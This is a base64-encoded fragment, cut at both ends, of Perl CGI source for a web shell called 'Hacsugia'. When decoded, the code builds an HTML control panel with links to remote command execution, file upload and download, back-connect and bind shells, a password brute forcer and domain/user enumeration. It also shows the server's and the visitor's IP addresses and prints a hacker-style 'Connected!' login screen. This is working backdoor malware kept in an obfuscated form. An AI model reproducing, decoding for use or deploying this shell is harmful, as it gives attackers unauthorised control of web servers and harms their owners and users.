BkYXRhICh1cmwgZW5jb2RlZCwgbm90IG11bHRpcGFydCkKCXsKCQlAaW4gPSBzcGxpdCgvJi8sICRpbik7CgkJZm9yZWFjaCAkaSAoMCAuLiAkI2luKQoJCXsKCQkJJGluWyRpXSA9fiBzL1wrLyAvZzsKCQkJKCRrZXksICR2YWwpID0gc3BsaXQoLz0vLCAkaW5bJGldLCAyKTsKCQkJJGtleSA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsKCQkJJHZhbCA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsKCQkJJGlueyRrZXl9IC49ICJcMCIgaWYgKGRlZmluZWQoJGlueyRrZXl9KSk7CgkJCSRpbnska2V5fSAuPSAkdmFsOwoJCX0KCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBQYWdlIEhlYWRlcgojIEFyZ3VtZW50IDE6IEZvcm0gaXRlbSBuYW1lIHRvIHdoaWNoIGZvY3VzIHNob3VsZCBiZSBzZXQKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRQYWdlSGVhZGVyCnsKCSRFbmNvZGVkQ3VycmVudERpciA9ICRDdXJyZW50RGlyOwoJJEVuY29kZWRDdXJyZW50RGlyID1+IHMvKFteYS16QS1aMC05XSkvJyUnLnVucGFjaygiSCoiLCQxKS9lZzsKCW15ICRkaXIgPSRDdXJyZW50RGlyOwoJJGRpcj1+IHMvXFwvXFxcXC9nOwoJcHJpbnQgIkNvbnRlbnQtdHlwZTogdGV4dC9odG1sXG5cbiI7CglwcmludCA8PEVORDsKPGh0bWw+CjxoZWFkPgo8bWV0YSBodHRwLWVxdWl2PSJjb250ZW50LXR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1VVEYtOCI+Cjx0aXRsZT5IYWNzdWdpYTwvdGl0bGU+CgokSHRtbE1ldGFIZWFkZXIKCjwvaGVhZD4KPHN0eWxlPgpib2R5ewpmb250OiAxMHB0IFZlcmRhbmE7Cn0KdHIgewpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLVRPUDogICAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsKY29sb3I6ICNmZjk5MDA7Cn0KdGQgewpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLVRPUDogICAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsKY29sb3I6ICMyQkE4RUM7CmZvbnQ6IDEwcHQgVmVyZGFuYTsKfQoKdGFibGUgewpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLVRPUDogICAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsKQkFDS0dST1VORC1DT0xPUjogIzExMTsKfQoKCmlucHV0IHsKQk9SREVSLVJJR0hUOiAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1UT1A6ICAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItTEVGVDogICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLUJPVFRPTTogIzNlM2UzZSAxcHggc29saWQ7CkJBQ0tHUk9VTkQtQ09MT1I6IEJsYWNrOwpmb250OiAxMHB0IFZlcmRhbmE7CmNvbG9yOiAjZmY5OTAwOwp9CgppbnB1dC5zdWJtaXQgewp0ZXh0LXNoYWRvdzogMHB0IDBwdCAwLjNlbSBjeWFuLCAwcHQgMHB0IDAuM2VtIGN5YW47CmNvbG9yOiAjRkZGRkZGOwpib3JkZXItY29sb3I6ICMwMDk5MDA7Cn0KCmNvZGUgewpib3JkZXIJCQk6IGRhc2hlZCAwcHggIzMzMzsKQkFDS0dST1VORC1DT0xPUjogQmxhY2s7CmZvbnQ6IDEwcHQgVmVyZGFuYSBib2xkOwpjb2xvcjogd2hpbGU7Cn0KCnJ1biB7CmJvcmRlcgkJCTogZGFzaGVkIDBweCAjMzMzOwpmb250OiAxMHB0IFZlcmRhbmEgYm9sZDsKY29sb3I6ICNGRjAwQUE7Cn0KCnRleHRhcmVhIHsKQk9SREVSLVJJR0hUOiAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1UT1A6ICAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItTEVGVDogICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLUJPVFRPTTogIzNlM2UzZSAxcHggc29saWQ7CkJBQ0tHUk9VTkQtQ09MT1I6ICMxYjFiMWI7CmZvbnQ6IEZpeGVkc3lzIGJvbGQ7CmNvbG9yOiAjYWFhOwp9CkE6bGluayB7CglDT0xPUjogIzJCQThFQzsgVEVYVC1ERUNPUkFUSU9OOiBub25lCn0KQTp2aXNpdGVkIHsKCUNPTE9SOiAjMkJBOEVDOyBURVhULURFQ09SQVRJT046IG5vbmUKfQpBOmhvdmVyIHsKCXRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsKCWNvbG9yOiAjZmY5OTAwOyBURVhULURFQ09SQVRJT046IG5vbmUKfQpBOmFjdGl2ZSB7Cgljb2xvcjogUmVkOyBURVhULURFQ09SQVRJT046IG5vbmUKfQoKLmxpc3RkaXIgdHI6aG92ZXJ7CgliYWNrZ3JvdW5kOiAjNDQ0Owp9Ci5saXN0ZGlyIHRyOmhvdmVyIHRkewoJYmFja2dyb3VuZDogIzQ0NDsKCXRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsKCWNvbG9yOiAjRkZGRkZGOyBURVhULURFQ09SQVRJT046IG5vbmU7Cn0KLm5vdGxpbmV7CgliYWNrZ3JvdW5kOiAjMTExOwp9Ci5saW5lewoJYmFja2dyb3VuZDogIzIyMjsKfQo8L3N0eWxlPgo8c2NyaXB0IGxhbmd1YWdlPSJqYXZhc2NyaXB0Ij4KZnVuY3Rpb24gY2htb2RfZm9ybShpLGZpbGUpCnsKCS8qdmFyIGFqYXg9J2FqYXhfUG9zdERhdGEoIkZvcm1QZXJtc18nK2krJyIsIiRTY3JpcHRMb2NhdGlvbiIsIlJlc3BvbnNlRGF0YSIpOyByZXR1cm4gZmFsc2U7JzsqLwoJdmFyIGFqYXg9IiI7Cglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZVBlcm1zXyIraSkuaW5uZXJIVE1MPSI8Zm9ybSBuYW1lPUZvcm1QZXJtc18iICsgaSsgIiBhY3Rpb249JycgbWV0aG9kPSdQT1NUJz48aW5wdXQgaWQ9dGV4dF8iICsgaSArICIgIG5hbWU9Y2htb2QgdHlwZT10ZXh0IHNpemU9NSAvPjxpbnB1dCB0eXBlPXN1Ym1pdCBjbGFzcz0nc3VibWl0JyBvbmNsaWNrPSciICsgYWpheCArICInIHZhbHVlPU9LPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J2d1aSc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0nJGRpcic+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZiB2YWx1ZT0nIitmaWxlKyInPjwvZm9ybT4iOwoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInRleHRfIiArIGkpLmZvY3VzKCk7Cn0KZnVuY3Rpb24gcm1fY2htb2RfZm9ybShyZXNwb25zZSxpLHBlcm1zLGZpbGUpCnsKCXJlc3BvbnNlLmlubmVySFRNTCA9ICI8c3BhbiBvbmNsaWNrPVxcXCJjaG1vZF9mb3JtKCIgKyBpICsgIiwnIisgZmlsZSsgIicpXFxcIiA+IisgcGVybXMgKyI8L3NwYW4+PC90ZD4iOwp9CmZ1bmN0aW9uIHJlbmFtZV9mb3JtKGksZmlsZSxmKQp7Cgl2YXIgYWpheD0iIjsKCWYucmVwbGFjZSgvXFxcXC9nLCJcXFxcXFxcXCIpOwoJdmFyIGJhY2s9InJtX3JlbmFtZV9mb3JtKCIraSsiLFxcXCIiK2ZpbGUrIlxcXCIsXFxcIiIrZisiXFxcIik7IHJldHVybiBmYWxzZTsiOwoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVfIitpKS5pbm5lckhUTUw9Ijxmb3JtIG5hbWU9Rm9ybVBlcm1zXyIgKyBpKyAiIGFjdGlvbj0nJyBtZXRob2Q9J1BPU1QnPjxpbnB1dCBpZD10ZXh0XyIgKyBpICsgIiAgbmFtZT1yZW5hbWUgdHlwZT10ZXh0IHZhbHVlPSAnIitmaWxlKyInIC8+PGlucHV0IHR5cGU9c3VibWl0IGNsYXNzPSdzdWJtaXQnIG9uY2xpY2s9JyIgKyBhamF4ICsgIicgdmFsdWU9T0s+PGlucHV0IHR5cGU9c3VibWl0IGNsYXNzPSdzdWJtaXQnIG9uY2xpY2s9JyIgKyBiYWNrICsgIicgdmFsdWU9Q2FuY2VsPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J2d1aSc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0nJGRpcic+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZiB2YWx1ZT0nIitmaWxlKyInPjwvZm9ybT4iOwoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInRleHRfIiArIGkpLmZvY3VzKCk7Cn0KZnVuY3Rpb24gcm1fcmVuYW1lX2Zvcm0oaSxmaWxlLGYpCnsKCWlmKGY9PSdmJykKCXsKCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZV8iK2kpLmlubmVySFRNTD0iPGEgaHJlZj0nP2E9Y29tbWFuZCZkPSRkaXImYz1lZGl0JTIwIitmaWxlKyIlMjAnPiIgK2ZpbGUrICI8L2E+IjsKCX1lbHNlCgl7CgkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVfIitpKS5pbm5lckhUTUw9IjxhIGhyZWY9Jz9hPWd1aSZkPSIrZisiJz5bICIgK2ZpbGUrICIgXTwvYT4iOwoJfQp9Cjwvc2NyaXB0Pgo8Ym9keSBvbkxvYWQ9ImRvY3VtZW50LmYuQF8uZm9jdXMoKSIgYmdjb2xvcj0iIzBjMGMwYyIgdG9wbWFyZ2luPSIwIiBsZWZ0bWFyZ2luPSIwIiBtYXJnaW53aWR0aD0iMCIgbWFyZ2luaGVpZ2h0PSIwIj4KPGNlbnRlcj48Y29kZT4KPHRhYmxlIGJvcmRlcj0iMSIgd2lkdGg9IjEwMCUiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMiI+Cjx0cj4KCTx0ZCBhbGlnbj0iY2VudGVyIiByb3dzcGFuPTI+CgkJPGI+PGZvbnQgc2l6ZT0iNSI+JEVkaXRQZXJzaW9uPC9mb250PjwvYj4KCTwvdGQ+CgoJPHRkPgoKCQk8Zm9udCBmYWNlPSJWZXJkYW5hIiBzaXplPSIyIj4kRU5WeyJTRVJWRVJfU09GVFdBUkUifTwvZm9udD4KCTwvdGQ+Cgk8dGQ+U2VydmVyIElQOjxmb250IGNvbG9yPSIjY2MwMDAwIj4gJEVOVnsnU0VSVkVSX0FERFInfTwvZm9udD4gfCBZb3VyIElQOiA8Zm9udCBjb2xvcj0iIzAwMDAwMCI+JEVOVnsnUkVNT1RFX0FERFInfTwvZm9udD4KCTwvdGQ+Cgo8L3RyPgoKPHRyPgo8dGQgY29sc3Bhbj0iMyI+PGZvbnQgZmFjZT0iVmVyZGFuYSIgc2l6ZT0iMiI+CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbiI+SG9tZTwvYT4gfCAKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9Y29tbWFuZCZkPSRFbmNvZGVkQ3VycmVudERpciI+Q29tbWFuZDwvYT4gfAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1ndWkmZD0kRW5jb2RlZEN1cnJlbnREaXIiPkdVSTwvYT4gfCAKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9dXBsb2FkJmQ9JEVuY29kZWRDdXJyZW50RGlyIj5VcGxvYWQgRmlsZTwvYT4gfCAKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZD0kRW5jb2RlZEN1cnJlbnREaXIiPkRvd25sb2FkIEZpbGU8L2E+IHwKCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWJhY2tiaW5kIj5CYWNrICYgQmluZDwvYT4gfAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1icnV0ZWZvcmNlciI+QnJ1dGUgRm9yY2VyPC9hPiB8CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWNoZWNrbG9nIj5DaGVjayBMb2c8L2E+IHwKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG9tYWluc3VzZXIiPkRvbWFpbnMvVXNlcnM8L2E+IHwKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9bG9nb3V0Ij5Mb2dvdXQ8L2E+IHwKPGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9IiMiPkhlbHA8L2E+Cgo8L2ZvbnQ+PC90ZD4KPC90cj4KPC90YWJsZT4KPGZvbnQgaWQ9IlJlc3BvbnNlRGF0YSIgY29sb3I9IiNmZjk5Y2MiID4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIExvZ2luIFNjcmVlbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luU2NyZWVuCnsKCglwcmludCA8PEVORDsKPHByZT48c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+ClR5cGluZ1RleHQgPSBmdW5jdGlvbihlbGVtZW50LCBpbnRlcnZhbCwgY3Vyc29yLCBmaW5pc2hlZENhbGxiYWNrKSB7CiAgaWYoKHR5cGVvZiBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCA9PSAidW5kZWZpbmVkIikgfHwgKHR5cGVvZiBlbGVtZW50LmlubmVySFRNTCA9PSAidW5kZWZpbmVkIikpIHsKICAgIHRoaXMucnVubmluZyA9IHRydWU7CS8vIE5ldmVyIHJ1bi4KICAgIHJldHVybjsKICB9CiAgdGhpcy5lbGVtZW50ID0gZWxlbWVudDsKICB0aGlzLmZpbmlzaGVkQ2FsbGJhY2sgPSAoZmluaXNoZWRDYWxsYmFjayA/IGZpbmlzaGVkQ2FsbGJhY2sgOiBmdW5jdGlvbigpIHsgcmV0dXJuOyB9KTsKICB0aGlzLmludGVydmFsID0gKHR5cGVvZiBpbnRlcnZhbCA9PSAidW5kZWZpbmVkIiA/IDEwMCA6IGludGVydmFsKTsKICB0aGlzLm9yaWdUZXh0ID0gdGhpcy5lbGVtZW50LmlubmVySFRNTDsKICB0aGlzLnVucGFyc2VkT3JpZ1RleHQgPSB0aGlzLm9yaWdUZXh0OwogIHRoaXMuY3Vyc29yID0gKGN1cnNvciA/IGN1cnNvciA6ICIiKTsKICB0aGlzLmN1cnJlbnRUZXh0ID0gIiI7CiAgdGhpcy5jdXJyZW50Q2hhciA9IDA7CiAgdGhpcy5lbGVtZW50LnR5cGluZ1RleHQgPSB0aGlzOwogIGlmKHRoaXMuZWxlbWVudC5pZCA9PSAiIikgdGhpcy5lbGVtZW50LmlkID0gInR5cGluZ3RleHQiICsgVHlwaW5nVGV4dC5jdXJyZW50SW5kZXgrKzsKICBUeXBpbmdUZXh0LmFsbC5wdXNoKHRoaXMpOwogIHRoaXMucnVubmluZyA9IGZhbHNlOwogIHRoaXMuaW5UYWcgPSBmYWxzZTsKICB0aGlzLnRhZ0J1ZmZlciA9ICIiOwogIHRoaXMuaW5IVE1MRW50aXR5ID0gZmFsc2U7CiAgdGhpcy5IVE1MRW50aXR5QnVmZmVyID0gIiI7Cn0KVHlwaW5nVGV4dC5hbGwgPSBuZXcgQXJyYXkoKTsKVHlwaW5nVGV4dC5jdXJyZW50SW5kZXggPSAwOwpUeXBpbmdUZXh0LnJ1bkFsbCA9IGZ1bmN0aW9uKCkgewogIGZvcih2YXIgaSA9IDA7IGkgPCBUeXBpbmdUZXh0LmFsbC5sZW5ndGg7IGkrKykgVHlwaW5nVGV4dC5hbGxbaV0ucnVuKCk7Cn0KVHlwaW5nVGV4dC5wcm90b3R5cGUucnVuID0gZnVuY3Rpb24oKSB7CiAgaWYodGhpcy5ydW5uaW5nKSByZXR1cm47CiAgaWYodHlwZW9mIHRoaXMub3JpZ1RleHQgPT0gInVuZGVmaW5lZCIpIHsKICAgIHNldFRpbWVvdXQoImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCciICsgdGhpcy5lbGVtZW50LmlkICsgIicpLnR5cGluZ1RleHQucnVuKCkiLCB0aGlzLmludGVydmFsKTsJLy8gV2UgaGF2ZW4ndCBmaW5pc2hlZCBsb2FkaW5nIHlldC4gIEhhdmUgcGF0aWVuY2UuCiAgICByZXR1cm47CiAgfQogIGlmKHRoaXMuY3VycmVudFRleHQgPT0gIiIpIHRoaXMuZWxlbWVudC5pbm5lckhUTUwgPSAiIjsKLy8gIHRoaXMub3JpZ1RleHQgPSB0aGlzLm9yaWdUZXh0LnJlcGxhY2UoLzwoW148XSkqPi8sICIiKTsgICAgIC8vIFN0cmlwIEhUTUwgZnJvbSB0ZXh0LgogIGlmKHRoaXMuY3VycmVudENoYXIgPCB0aGlzLm9yaWdUZXh0Lmxlbmd0aCkgewogICAgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIjwiICYmICF0aGlzLmluVGFnKSB7CiAgICAgIHRoaXMudGFnQnVmZmVyID0gIjwiOwogICAgICB0aGlzLmluVGFnID0gdHJ1ZTsKICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOwogICAgICB0aGlzLnJ1bigpOwogICAgICByZXR1cm47CiAgICB9IGVsc2UgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIj4iICYmIHRoaXMuaW5UYWcpIHsKICAgICAgdGhpcy50YWdCdWZmZXIgKz0gIj4iOwogICAgICB0aGlzLmluVGFnID0gZmFsc2U7CiAgICAgIHRoaXMuY3VycmVudFRleHQgKz0gdGhpcy50YWdCdWZmZXI7CiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgICAgdGhpcy5ydW4oKTsKICAgICAgcmV0dXJuOwogICAgfSBlbHNlIGlmKHRoaXMuaW5UYWcpIHsKICAgICAgdGhpcy50YWdCdWZmZXIgKz0gdGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcik7CiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgICAgdGhpcy5ydW4oKTsKICAgICAgcmV0dXJuOwogICAgfSBlbHNlIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICImIiAmJiAhdGhpcy5pbkhUTUxFbnRpdHkpIHsKICAgICAgdGhpcy5IVE1MRW50aXR5QnVmZmVyID0gIiYiOwogICAgICB0aGlzLmluSFRNTEVudGl0eSA9IHRydWU7CiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgICAgdGhpcy5ydW4oKTsKICAgICAgcmV0dXJuOwogICAgfSBlbHNlIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICI7IiAmJiB0aGlzLmluSFRNTEVudGl0eSkgewogICAgICB0aGlzLkhUTUxFbnRpdHlCdWZmZXIgKz0gIjsiOwogICAgICB0aGlzLmluSFRNTEVudGl0eSA9IGZhbHNlOwogICAgICB0aGlzLmN1cnJlbnRUZXh0ICs9IHRoaXMuSFRNTEVudGl0eUJ1ZmZlcjsKICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOwogICAgICB0aGlzLnJ1bigpOwogICAgICByZXR1cm47CiAgICB9IGVsc2UgaWYodGhpcy5pbkhUTUxFbnRpdHkpIHsKICAgICAgdGhpcy5IVE1MRW50aXR5QnVmZmVyICs9IHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpOwogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7CiAgICAgIHRoaXMucnVuKCk7CiAgICAgIHJldHVybjsKICAgIH0gZWxzZSB7CiAgICAgIHRoaXMuY3VycmVudFRleHQgKz0gdGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcik7CiAgICB9CiAgICB0aGlzLmVsZW1lbnQuaW5uZXJIVE1MID0gdGhpcy5jdXJyZW50VGV4dDsKICAgIHRoaXMuZWxlbWVudC5pbm5lckhUTUwgKz0gKHRoaXMuY3VycmVudENoYXIgPCB0aGlzLm9yaWdUZXh0Lmxlbmd0aCAtIDEgPyAodHlwZW9mIHRoaXMuY3Vyc29yID09ICJmdW5jdGlvbiIgPyB0aGlzLmN1cnNvcih0aGlzLmN1cnJlbnRUZXh0KSA6IHRoaXMuY3Vyc29yKSA6ICIiKTsKICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgIHNldFRpbWVvdXQoImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCciICsgdGhpcy5lbGVtZW50LmlkICsgIicpLnR5cGluZ1RleHQucnVuKCkiLCB0aGlzLmludGVydmFsKTsKICB9IGVsc2UgewoJdGhpcy5jdXJyZW50VGV4dCA9ICIiOwoJdGhpcy5jdXJyZW50Q2hhciA9IDA7CiAgICAgICAgdGhpcy5ydW5uaW5nID0gZmFsc2U7CiAgICAgICAgdGhpcy5maW5pc2hlZENhbGxiYWNrKCk7CiAgfQp9Cjwvc2NyaXB0Pgo8L3ByZT4KCjxmb250IHN0eWxlPSJmb250OiAxNXB0IFZlcmRhbmE7IGNvbG9yOiB5ZWxsb3c7Ij5Db3B5cmlnaHQgKEMpIDIwMDEgUm9oaXRhYiBCYXRyYSA8L2ZvbnQ+PGJyPjxicj4KPHRhYmxlIGFsaWduPSJjZW50ZXIiIGJvcmRlcj0iMSIgd2lkdGg9IjYwMCIgaGVpZ2g+Cjx0Ym9keT48dHI+Cjx0ZCB2YWxpZ249InRvcCIgYmFja2dyb3VuZD0iaHR0cDovL2RsLmRyb3Bib3guY29tL3UvMTA4NjAwNTEvaW1hZ2VzL21hdHJhbi5naWYiPjxwIGlkPSJoYWNrIiBzdHlsZT0ibWFyZ2luLWxlZnQ6IDNweDsiPgo8Zm9udCBjb2xvcj0iIzAwOTkwMCI+IFBsZWFzZSBXYWl0IC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+IDxicj4KCjxmb250IGNvbG9yPSIjMDA5OTAwIj4gVHJ5aW5nIGNvbm5lY3QgdG8gU2VydmVyIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+PGJyPgo8Zm9udCBjb2xvcj0iI0YwMDAwMCI+PGZvbnQgY29sb3I9IiNGRkYwMDAiPn5cJDwvZm9udD4gQ29ubmVjdGVkICEgPC9mb250Pjxicj4KPGZvbnQgY29sb3I9IiMwMDk5MDAiPjxmb250IGNvbG9yPSIjRkZGMDAwIj4kU2VydmVyTmFtZX48L2ZvbnQ+IENoZWNraW5nIFNlcnZlciAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuPC9mb250PiA8YnI+Cgo8Zm9udCBjb2xvcj0iIzAwOTkwMCI+PGZvbnQgY29sb3I9IiNGRkYwMDAiPiRTZXJ2ZXJOYW1lfjwvZm9udD4gVHJ5aW5nIGNvbm5lY3QgdG8gQ29tbWFuZCAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+PGJyPgoKPGZvbnQgY29sb3I9IiNGMDAwMDAiPjxmb250IGNvbG9yPSIjRkZGMDAwIj4kU2VydmVyTmFtZX48L2ZvbnQ+XCQgQ29ubmVjdGVkIENvbW1hbmQhIDwvZm9udD48YnI+Cjxmb250IGNvbG9yPSIjMDA5OTAwIj48Zm9udCBjb2xvcj0iI0ZGRjAwMCI+JFNlcnZlck5hbWV+PGZvbnQgY29sb3I9IiNGMDAwMDAiPlwkPC9mb250PjwvZm9udD4gT0shIFlvdSBjYW4ga2lsbCBpdCE8L2ZvbnQ+CjwvdHI+CjwvdGJvZHk+PC90YWJsZT4KPGJyPgoKPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgpuZXcgVHlwaW5nVGV4dChkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiaGFjayIpLCAzMCwgZnVuY3Rpb24oaSl7IHZhciBhciA9IG5ldyBBcnJheSgiXyIsIiIpOyByZXR1cm4gIiAiICsgYXJbaS5sZW5ndGggJSBhci5sZW5ndGhdOyB9KTsKVHlwaW5nVGV4dC5ydW5BbGwoKTsKCjwvc2NyaXB0PgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIEFkZCBodG1sIHNwZWNpYWwgY2hhcnMKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgSHRtbFNwZWNpYWxDaGFycygkKXsKCW15ICR0ZXh0ID0gc2hpZnQ7CgkkdGV4dCA9fiBzLyYvJmFtcDsvZzsKCSR0ZXh0ID1+IHMvIi8mcXVvdDsvZzsKCSR0ZXh0ID1+IHMvJy8mIzAzOTsvZzsKCSR0ZXh0ID1+IHMvPC8mbHQ7L2c7CgkkdGV4dCA9fiBzLz4vJmd0Oy9nOwoJcmV0dXJuICR0ZXh0Owp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBBZGQgbGluayBmb3IgZGlyZWN0b3J5CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEFkZExpbmtEaXIoJCkKewoJbXkgJGFjPXNoaWZ0OwoJbXkgQGRpcj0oKTsKCWlmKCRXaW5OVCkKCXsKCQlAZGlyPXNwbGl0KC9cXC8sJEN1cnJlbnREaXIpOwoJfWVsc2UKCXsKCQlAZGlyPXNwbGl0KCIvIiwmdHJpbSgkQ3VycmVudERpcikpOwoJfQoJbXkgJHBhdGg9IiI7CglteSAkcmVzdWx0PSIiOwoJZm9yZWFjaCAoQGRpcikKCXsKCQkkcGF0aCAuPSAkXy4kUGF0aFNlcDsKCQkkcmVzdWx0Lj0iPGEgaHJlZj0nP2E9Ii4kYWMuIiZkPSIuJHBhdGguIic+Ii4kXy4kUGF0aFNlcC4iPC9hPiI7Cgl9CglyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBtZXNzYWdlIHRoYXQgaW5mb3JtcyB0aGUgdXNlciBvZiBhIGZhaWxlZCBsb2dpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luRmFpbGVkTWVzc2FnZQp7CglwcmludCA8PEVORDsKPGJyPkxvZ2luIDogQWRtaW5pc3RyYXRvcjxicj4KClBhc3N3b3JkOjxicj4KTG9naW4gaW5jb3JyZWN0PGJyPjxicj4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS